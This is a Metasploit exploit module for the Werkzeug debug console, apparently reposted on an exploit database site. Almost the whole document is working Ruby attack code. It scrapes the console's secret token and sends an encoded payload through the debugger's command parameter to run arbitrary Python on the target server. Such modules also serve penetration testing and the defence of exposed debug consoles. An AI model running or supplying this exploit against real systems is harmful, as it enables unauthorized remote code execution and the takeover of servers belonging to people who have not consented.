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# Werkzeug Debug Shell Command Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Werkzeug Debug Shell Command Execution',
'Description' => %q{
This module will exploit the Werkzeug debug console to put down a
Python shell. This debugger "must never be used on production
machines" but sometimes slips passed testing.

Tested against:
0.9.6 on Debian
0.9.6 on Centos
0.10 on Debian
},
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Targets' => [[ 'werkzeug 0.10 and older', {}]],
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2015'
))

register_options(
[
OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
], self.class
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)

# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
if res && res.body =~ /Werkzeug powered traceback interpreter/
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
# first we need to get the SECRET code
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)

if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
secret = $1
vprint_status("Secret Code: #{secret}")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'__debugger__' => 'yes',
'cmd' => payload.encoded,
'frm' => '0',
's' => secret
}
)
else
print_error('Secret code not detected.')
end
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-08-27]

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